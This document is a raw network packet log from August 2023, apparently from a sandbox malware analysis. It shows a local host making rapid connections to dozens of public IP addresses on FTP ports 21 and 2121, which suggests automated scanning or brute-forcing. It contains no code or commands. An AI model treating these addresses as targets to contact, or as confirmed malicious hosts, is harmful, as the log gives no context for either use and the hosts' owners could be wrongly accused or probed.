Aug 23, 2023 09:16:05.631588936 CEST	21	51599	185.214.164.69	192.168.2.3
Aug 23, 2023 09:16:05.637240887 CEST	21	51582	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:05.637286901 CEST	21	51582	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:05.637353897 CEST	51582	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:05.637526989 CEST	51582	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:05.638499975 CEST	21	51595	89.233.158.1	192.168.2.3
Aug 23, 2023 09:16:05.638791084 CEST	51614	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:05.644428968 CEST	51600	2121	192.168.2.3	185.214.164.69
Aug 23, 2023 09:16:05.645023108 CEST	2121	51607	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:05.646117926 CEST	51607	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:05.649239063 CEST	21	51581	181.105.157.33	192.168.2.3
Aug 23, 2023 09:16:05.660007954 CEST	51596	2121	192.168.2.3	89.233.158.1
Aug 23, 2023 09:16:05.660021067 CEST	51587	2121	192.168.2.3	117.242.186.202
Aug 23, 2023 09:16:05.661751986 CEST	2121	51600	185.214.164.69	192.168.2.3
Aug 23, 2023 09:16:05.675430059 CEST	2121	51607	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:05.675759077 CEST	2121	51607	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:05.675829887 CEST	51607	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:05.678698063 CEST	51607	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:05.681308031 CEST	51615	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:05.685895920 CEST	2121	51596	89.233.158.1	192.168.2.3
Aug 23, 2023 09:16:05.690217018 CEST	21	51574	206.255.218.154	192.168.2.3
Aug 23, 2023 09:16:05.691107035 CEST	51616	21	192.168.2.3	31.11.104.120
Aug 23, 2023 09:16:05.708256006 CEST	2121	51607	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:05.713202953 CEST	2121	51615	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:05.713330030 CEST	51615	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:05.760016918 CEST	2121	51611	201.163.72.89	192.168.2.3
Aug 23, 2023 09:16:05.789822102 CEST	51617	2121	192.168.2.3	31.11.104.120
Aug 23, 2023 09:16:05.790360928 CEST	51575	2121	192.168.2.3	206.255.218.154
Aug 23, 2023 09:16:05.790468931 CEST	51548	21	192.168.2.3	201.3.17.188
Aug 23, 2023 09:16:05.790651083 CEST	21	51590	192.145.234.184	192.168.2.3
Aug 23, 2023 09:16:05.808648109 CEST	21	51582	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:05.810359001 CEST	21	51614	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:05.810427904 CEST	51614	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:05.827570915 CEST	2121	51583	181.105.157.33	192.168.2.3
Aug 23, 2023 09:16:05.832416058 CEST	2121	51587	117.242.186.202	192.168.2.3
Aug 23, 2023 09:16:05.833010912 CEST	51618	21	192.168.2.3	85.248.37.20
Aug 23, 2023 09:16:05.838685036 CEST	21	51612	218.147.208.213	192.168.2.3
Aug 23, 2023 09:16:05.855623007 CEST	2121	51613	218.147.208.213	192.168.2.3
Aug 23, 2023 09:16:05.864890099 CEST	51619	2121	192.168.2.3	85.248.37.20
Aug 23, 2023 09:16:05.894457102 CEST	2121	51615	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:05.895045996 CEST	51615	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:05.926754951 CEST	2121	51615	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:05.927531958 CEST	2121	51615	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:05.928002119 CEST	51615	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:05.934075117 CEST	2121	51575	206.255.218.154	192.168.2.3
Aug 23, 2023 09:16:05.935041904 CEST	51620	21	192.168.2.3	70.114.65.108
Aug 23, 2023 09:16:05.961272955 CEST	2121	51615	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:05.961635113 CEST	51615	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:05.973381996 CEST	51621	2121	192.168.2.3	70.114.65.108
Aug 23, 2023 09:16:05.988209963 CEST	51553	21	192.168.2.3	92.101.79.27
Aug 23, 2023 09:16:05.988249063 CEST	51552	2121	192.168.2.3	201.3.17.188
Aug 23, 2023 09:16:05.993989944 CEST	2121	51615	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:05.994021893 CEST	2121	51615	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:05.994090080 CEST	51615	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:05.994277000 CEST	51615	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:05.995004892 CEST	51622	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:06.025499105 CEST	2121	51622	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:06.027683973 CEST	2121	51615	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:06.027940035 CEST	51622	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:06.081983089 CEST	51554	2121	192.168.2.3	92.101.79.27
Aug 23, 2023 09:16:06.082101107 CEST	51556	2121	192.168.2.3	20.108.238.111
Aug 23, 2023 09:16:06.160073996 CEST	51555	21	192.168.2.3	20.108.238.111
Aug 23, 2023 09:16:06.160075903 CEST	51558	2121	192.168.2.3	38.81.69.157
Aug 23, 2023 09:16:06.160135031 CEST	51557	21	192.168.2.3	38.81.69.157
Aug 23, 2023 09:16:06.162246943 CEST	51623	21	192.168.2.3	52.201.242.56
Aug 23, 2023 09:16:06.191384077 CEST	51599	21	192.168.2.3	185.214.164.69
Aug 23, 2023 09:16:06.191394091 CEST	51600	2121	192.168.2.3	185.214.164.69
Aug 23, 2023 09:16:06.191961050 CEST	51595	21	192.168.2.3	89.233.158.1
Aug 23, 2023 09:16:06.191963911 CEST	51581	21	192.168.2.3	181.105.157.33
Aug 23, 2023 09:16:06.199882984 CEST	21	51614	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:06.201644897 CEST	51614	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:06.207798004 CEST	21	51599	185.214.164.69	192.168.2.3
Aug 23, 2023 09:16:06.207840919 CEST	2121	51600	185.214.164.69	192.168.2.3
Aug 23, 2023 09:16:06.209907055 CEST	51624	2121	192.168.2.3	52.201.242.56
Aug 23, 2023 09:16:06.210436106 CEST	51625	21	192.168.2.3	15.197.225.250
Aug 23, 2023 09:16:06.213356018 CEST	2121	51622	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:06.214663029 CEST	51622	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:06.218586922 CEST	21	51595	89.233.158.1	192.168.2.3
Aug 23, 2023 09:16:06.219254017 CEST	51626	2121	192.168.2.3	15.197.225.250
Aug 23, 2023 09:16:06.247903109 CEST	2121	51622	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:06.249212980 CEST	2121	51622	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:06.251142025 CEST	51622	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:06.284394979 CEST	2121	51622	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:06.285173893 CEST	51622	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:06.314702988 CEST	2121	51622	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:06.314760923 CEST	2121	51622	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:06.314922094 CEST	51622	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:06.315143108 CEST	51622	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:06.318085909 CEST	51627	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:06.344892025 CEST	2121	51622	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:06.352550030 CEST	2121	51627	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:06.352770090 CEST	51627	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:06.363220930 CEST	51596	2121	192.168.2.3	89.233.158.1
Aug 23, 2023 09:16:06.363243103 CEST	51560	21	192.168.2.3	167.61.85.66
Aug 23, 2023 09:16:06.363482952 CEST	51561	2121	192.168.2.3	167.61.85.66
Aug 23, 2023 09:16:06.364048004 CEST	51583	2121	192.168.2.3	181.105.157.33
Aug 23, 2023 09:16:06.373630047 CEST	21	51614	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:06.374012947 CEST	21	51614	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:06.374452114 CEST	51614	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:06.386476994 CEST	21	51586	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:06.386913061 CEST	51586	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:06.388575077 CEST	2121	51596	89.233.158.1	192.168.2.3
Aug 23, 2023 09:16:06.390110016 CEST	51628	21	192.168.2.3	103.160.182.68
Aug 23, 2023 09:16:06.394469023 CEST	51613	2121	192.168.2.3	218.147.208.213
Aug 23, 2023 09:16:06.394474030 CEST	49948	21	192.168.2.3	199.188.201.19
Aug 23, 2023 09:16:06.394480944 CEST	51587	2121	192.168.2.3	117.242.186.202
Aug 23, 2023 09:16:06.394490957 CEST	51611	2121	192.168.2.3	201.163.72.89
Aug 23, 2023 09:16:06.394509077 CEST	51612	21	192.168.2.3	218.147.208.213
Aug 23, 2023 09:16:06.428862095 CEST	51629	2121	192.168.2.3	103.160.182.68
Aug 23, 2023 09:16:06.432199001 CEST	51630	21	192.168.2.3	141.95.28.228
Aug 23, 2023 09:16:06.451646090 CEST	21	51630	141.95.28.228	192.168.2.3
Aug 23, 2023 09:16:06.459918976 CEST	51631	2121	192.168.2.3	141.95.28.228
Aug 23, 2023 09:16:06.463546991 CEST	21	51581	181.105.157.33	192.168.2.3
Aug 23, 2023 09:16:06.465815067 CEST	51632	21	192.168.2.3	188.251.75.249
Aug 23, 2023 09:16:06.478611946 CEST	2121	51631	141.95.28.228	192.168.2.3
Aug 23, 2023 09:16:06.542098999 CEST	2121	51627	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:06.543989897 CEST	51627	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:06.547058105 CEST	21	51614	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:06.548472881 CEST	51614	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:06.550755024 CEST	51564	2121	192.168.2.3	178.15.143.20
Aug 23, 2023 09:16:06.550885916 CEST	51562	21	192.168.2.3	178.15.143.20
Aug 23, 2023 09:16:06.553884029 CEST	51634	21	192.168.2.3	174.23.188.55
Aug 23, 2023 09:16:06.553893089 CEST	51633	2121	192.168.2.3	188.251.75.249
Aug 23, 2023 09:16:06.554024935 CEST	51635	21	192.168.2.3	139.195.243.19
Aug 23, 2023 09:16:06.554313898 CEST	51636	2121	192.168.2.3	174.23.188.55
Aug 23, 2023 09:16:06.567106962 CEST	2121	51587	117.242.186.202	192.168.2.3
Aug 23, 2023 09:16:06.569180965 CEST	51637	2121	192.168.2.3	139.195.243.19
Aug 23, 2023 09:16:06.570267916 CEST	51638	21	192.168.2.3	65.175.105.186
Aug 23, 2023 09:16:06.572382927 CEST	2121	51611	201.163.72.89	192.168.2.3
Aug 23, 2023 09:16:06.576894999 CEST	2121	51627	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:06.576946020 CEST	2121	51627	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:06.578686953 CEST	51627	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:06.585597038 CEST	21	51628	103.160.182.68	192.168.2.3
Aug 23, 2023 09:16:06.586869001 CEST	51639	21	192.168.2.3	89.94.72.219
Aug 23, 2023 09:16:06.586869001 CEST	51640	2121	192.168.2.3	65.175.105.186
Aug 23, 2023 09:16:06.590502977 CEST	51641	2121	192.168.2.3	89.94.72.219
Aug 23, 2023 09:16:06.600418091 CEST	21	51586	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:06.600738049 CEST	21	51586	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:06.601841927 CEST	21	51586	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:06.602202892 CEST	51586	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:06.602699041 CEST	51586	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:06.602890015 CEST	51642	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:06.612690926 CEST	2121	51627	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:06.614388943 CEST	51627	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:06.624579906 CEST	2121	51629	103.160.182.68	192.168.2.3
Aug 23, 2023 09:16:06.642124891 CEST	2121	51583	181.105.157.33	192.168.2.3
Aug 23, 2023 09:16:06.646727085 CEST	51643	21	192.168.2.3	104.175.235.213
Aug 23, 2023 09:16:06.646986961 CEST	2121	51627	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:06.647008896 CEST	2121	51627	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:06.647114992 CEST	51627	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:06.647645950 CEST	51627	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:06.647648096 CEST	51644	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:06.650541067 CEST	21	51612	218.147.208.213	192.168.2.3
Aug 23, 2023 09:16:06.652751923 CEST	2121	51613	218.147.208.213	192.168.2.3
Aug 23, 2023 09:16:06.660443068 CEST	51565	21	192.168.2.3	167.62.199.6
Aug 23, 2023 09:16:06.676580906 CEST	2121	51644	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:06.678189039 CEST	51644	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:06.680027008 CEST	2121	51627	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:06.692965031 CEST	21	51638	65.175.105.186	192.168.2.3
Aug 23, 2023 09:16:06.695120096 CEST	51638	21	192.168.2.3	65.175.105.186
Aug 23, 2023 09:16:06.719959974 CEST	21	51614	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:06.719994068 CEST	21	51614	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:06.722223997 CEST	51614	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:06.722872972 CEST	51645	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:06.723129988 CEST	51614	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:06.786168098 CEST	51567	2121	192.168.2.3	167.62.199.6
Aug 23, 2023 09:16:06.815963984 CEST	21	51586	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:06.816807985 CEST	21	51642	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:06.816968918 CEST	51642	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:06.817511082 CEST	21	51638	65.175.105.186	192.168.2.3
Aug 23, 2023 09:16:06.818367004 CEST	51638	21	192.168.2.3	65.175.105.186
Aug 23, 2023 09:16:06.819273949 CEST	51646	2121	192.168.2.3	104.175.235.213
Aug 23, 2023 09:16:06.848596096 CEST	51647	21	192.168.2.3	23.15.43.195
Aug 23, 2023 09:16:06.849517107 CEST	51648	2121	192.168.2.3	23.15.43.195
Aug 23, 2023 09:16:06.867679119 CEST	2121	51644	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:06.868089914 CEST	51644	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:06.882869959 CEST	21	50998	173.249.31.55	192.168.2.3
Aug 23, 2023 09:16:06.883028984 CEST	50998	21	192.168.2.3	173.249.31.55
Aug 23, 2023 09:16:06.894154072 CEST	21	51614	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:06.894259930 CEST	21	51645	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:06.894452095 CEST	51645	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:06.894550085 CEST	51569	21	192.168.2.3	15.197.166.71
Aug 23, 2023 09:16:06.896878004 CEST	2121	51644	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:06.897799015 CEST	2121	51644	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:06.898545980 CEST	51644	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:06.930200100 CEST	2121	51644	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:06.930995941 CEST	51644	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:06.940696001 CEST	21	51638	65.175.105.186	192.168.2.3
Aug 23, 2023 09:16:06.940728903 CEST	21	51638	65.175.105.186	192.168.2.3
Aug 23, 2023 09:16:06.940896988 CEST	51638	21	192.168.2.3	65.175.105.186
Aug 23, 2023 09:16:06.960613012 CEST	2121	51644	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:06.960741997 CEST	2121	51644	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:06.960923910 CEST	51644	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:06.960925102 CEST	51644	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:06.961642027 CEST	51649	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:06.989661932 CEST	2121	51644	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:06.995623112 CEST	2121	51649	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:06.995752096 CEST	51649	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:07.039392948 CEST	21	51642	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:07.039850950 CEST	51642	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:07.094342947 CEST	21	51645	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:07.097697973 CEST	51630	21	192.168.2.3	141.95.28.228
Aug 23, 2023 09:16:07.097753048 CEST	51628	21	192.168.2.3	103.160.182.68
Aug 23, 2023 09:16:07.097773075 CEST	51631	2121	192.168.2.3	141.95.28.228
Aug 23, 2023 09:16:07.097774982 CEST	51570	2121	192.168.2.3	15.197.166.71
Aug 23, 2023 09:16:07.097773075 CEST	51572	2121	192.168.2.3	47.46.70.249
Aug 23, 2023 09:16:07.097865105 CEST	51611	2121	192.168.2.3	201.163.72.89
Aug 23, 2023 09:16:07.116657019 CEST	2121	51631	141.95.28.228	192.168.2.3
Aug 23, 2023 09:16:07.116682053 CEST	21	51630	141.95.28.228	192.168.2.3
Aug 23, 2023 09:16:07.133928061 CEST	51650	21	192.168.2.3	88.205.105.49
Aug 23, 2023 09:16:07.134735107 CEST	51651	2121	192.168.2.3	88.205.105.49
Aug 23, 2023 09:16:07.134924889 CEST	51645	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:07.135504007 CEST	51652	21	192.168.2.3	112.197.245.56
Aug 23, 2023 09:16:07.136123896 CEST	51653	2121	192.168.2.3	112.197.245.56
Aug 23, 2023 09:16:07.136739969 CEST	51654	21	192.168.2.3	189.180.129.240
Aug 23, 2023 09:16:07.160140991 CEST	51571	21	192.168.2.3	47.46.70.249
Aug 23, 2023 09:16:07.161016941 CEST	51655	2121	192.168.2.3	189.180.129.240
Aug 23, 2023 09:16:07.187108994 CEST	2121	51649	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:07.187439919 CEST	51649	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:07.219674110 CEST	2121	51649	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:07.220434904 CEST	2121	51649	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:07.253334999 CEST	21	51642	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:07.275002003 CEST	2121	51611	201.163.72.89	192.168.2.3
Aug 23, 2023 09:16:07.285187960 CEST	51613	2121	192.168.2.3	218.147.208.213
Aug 23, 2023 09:16:07.285207987 CEST	51649	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:07.285226107 CEST	51629	2121	192.168.2.3	103.160.182.68
Aug 23, 2023 09:16:07.285224915 CEST	51612	21	192.168.2.3	218.147.208.213
Aug 23, 2023 09:16:07.293572903 CEST	21	51628	103.160.182.68	192.168.2.3
Aug 23, 2023 09:16:07.306230068 CEST	21	51645	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:07.307698011 CEST	21	51645	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:07.334497929 CEST	51649	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:07.335059881 CEST	51645	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:07.335689068 CEST	51656	21	192.168.2.3	185.56.246.58
Aug 23, 2023 09:16:07.370448112 CEST	2121	51649	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:07.371073008 CEST	51649	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:07.403846025 CEST	2121	51649	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:07.404150009 CEST	2121	51649	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:07.404165983 CEST	51649	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:07.404206038 CEST	51649	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:07.404964924 CEST	51657	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:07.434287071 CEST	2121	51657	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:07.434478045 CEST	51657	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:07.436450005 CEST	2121	51649	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:07.480631113 CEST	2121	51629	103.160.182.68	192.168.2.3
Aug 23, 2023 09:16:07.483417034 CEST	51658	2121	192.168.2.3	185.56.246.58
Aug 23, 2023 09:16:07.484720945 CEST	51659	21	192.168.2.3	46.253.208.172
Aug 23, 2023 09:16:07.507294893 CEST	21	51645	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:07.507725000 CEST	51645	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:07.523667097 CEST	51579	21	192.168.2.3	76.138.115.39
Aug 23, 2023 09:16:07.541239977 CEST	21	51612	218.147.208.213	192.168.2.3
Aug 23, 2023 09:16:07.542468071 CEST	2121	51613	218.147.208.213	192.168.2.3
Aug 23, 2023 09:16:07.542856932 CEST	51660	2121	192.168.2.3	46.253.208.172
Aug 23, 2023 09:16:07.543728113 CEST	51661	21	192.168.2.3	91.64.22.235
Aug 23, 2023 09:16:07.597713947 CEST	51577	21	192.168.2.3	189.239.45.164
Aug 23, 2023 09:16:07.597719908 CEST	51580	2121	192.168.2.3	76.138.115.39
Aug 23, 2023 09:16:07.597729921 CEST	51578	2121	192.168.2.3	189.239.45.164
Aug 23, 2023 09:16:07.630430937 CEST	2121	51657	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:07.630891085 CEST	51657	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:07.660206079 CEST	2121	51657	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:07.660761118 CEST	2121	51657	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:07.661166906 CEST	51657	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:07.679299116 CEST	21	51645	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:07.679366112 CEST	21	51645	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:07.679428101 CEST	51645	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:07.679555893 CEST	51645	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:07.680398941 CEST	51662	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:07.691375971 CEST	2121	51657	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:07.691946030 CEST	51657	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:07.721596956 CEST	2121	51657	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:07.721630096 CEST	2121	51657	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:07.721719980 CEST	51657	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:07.721894979 CEST	51657	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:07.722744942 CEST	51663	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:07.723673105 CEST	51664	2121	192.168.2.3	91.64.22.235
Aug 23, 2023 09:16:07.753289938 CEST	2121	51657	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:07.754975080 CEST	2121	51663	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:07.755075932 CEST	51663	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:07.785217047 CEST	51630	21	192.168.2.3	141.95.28.228
Aug 23, 2023 09:16:07.785238028 CEST	51584	21	192.168.2.3	117.242.186.202
Aug 23, 2023 09:16:07.785243034 CEST	51631	2121	192.168.2.3	141.95.28.228
Aug 23, 2023 09:16:07.803880930 CEST	2121	51631	141.95.28.228	192.168.2.3
Aug 23, 2023 09:16:07.804174900 CEST	21	51630	141.95.28.228	192.168.2.3
Aug 23, 2023 09:16:07.808969975 CEST	51665	21	192.168.2.3	45.164.177.214
Aug 23, 2023 09:16:07.809917927 CEST	51666	2121	192.168.2.3	45.164.177.214
Aug 23, 2023 09:16:07.850857973 CEST	21	51645	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:07.851620913 CEST	21	51662	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:07.851739883 CEST	51662	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:07.894649029 CEST	51628	21	192.168.2.3	103.160.182.68
Aug 23, 2023 09:16:07.894669056 CEST	49948	21	192.168.2.3	199.188.201.19
Aug 23, 2023 09:16:07.940537930 CEST	2121	51663	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:07.942251921 CEST	51663	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:07.975064993 CEST	2121	51663	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:07.975631952 CEST	2121	51663	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:07.975969076 CEST	51663	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:07.989290953 CEST	51667	21	192.168.2.3	13.75.181.222
Aug 23, 2023 09:16:07.990153074 CEST	51668	2121	192.168.2.3	13.75.181.222
Aug 23, 2023 09:16:08.010309935 CEST	2121	51663	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:08.010663986 CEST	51663	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:08.038067102 CEST	21	51665	45.164.177.214	192.168.2.3
Aug 23, 2023 09:16:08.045016050 CEST	2121	51663	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:08.045178890 CEST	2121	51663	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:08.045243025 CEST	51663	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:08.045311928 CEST	51663	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:08.045907021 CEST	51669	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:08.057020903 CEST	2121	51666	45.164.177.214	192.168.2.3
Aug 23, 2023 09:16:08.076617002 CEST	2121	51669	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:08.076745033 CEST	51669	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:08.077558994 CEST	2121	51663	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:08.089711905 CEST	21	51628	103.160.182.68	192.168.2.3
Aug 23, 2023 09:16:08.097754955 CEST	51598	2121	192.168.2.3	213.126.106.26
Aug 23, 2023 09:16:08.097755909 CEST	51597	21	192.168.2.3	213.126.106.26
Aug 23, 2023 09:16:08.098233938 CEST	51629	2121	192.168.2.3	103.160.182.68
Aug 23, 2023 09:16:08.098242044 CEST	51591	21	192.168.2.3	64.98.67.163
Aug 23, 2023 09:16:08.098248959 CEST	51592	2121	192.168.2.3	64.98.67.163
Aug 23, 2023 09:16:08.160254955 CEST	51594	2121	192.168.2.3	175.119.186.78
Aug 23, 2023 09:16:08.160255909 CEST	51593	21	192.168.2.3	175.119.186.78
Aug 23, 2023 09:16:08.208719969 CEST	21	51662	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:08.254724026 CEST	21	51642	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:08.264358997 CEST	2121	51669	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:08.285274029 CEST	51604	2121	192.168.2.3	184.190.156.231
Aug 23, 2023 09:16:08.285340071 CEST	51601	21	192.168.2.3	73.155.105.240
Aug 23, 2023 09:16:08.285407066 CEST	51602	2121	192.168.2.3	73.155.105.240
Aug 23, 2023 09:16:08.307322025 CEST	2121	51629	103.160.182.68	192.168.2.3
Aug 23, 2023 09:16:08.363415956 CEST	51662	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:08.363553047 CEST	51669	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:08.363615990 CEST	51603	21	192.168.2.3	184.190.156.231
Aug 23, 2023 09:16:08.363626003 CEST	51606	2121	192.168.2.3	75.89.227.22
Aug 23, 2023 09:16:08.363717079 CEST	51605	21	192.168.2.3	75.89.227.22
Aug 23, 2023 09:16:08.394819021 CEST	51642	21	192.168.2.3	41.85.20.17
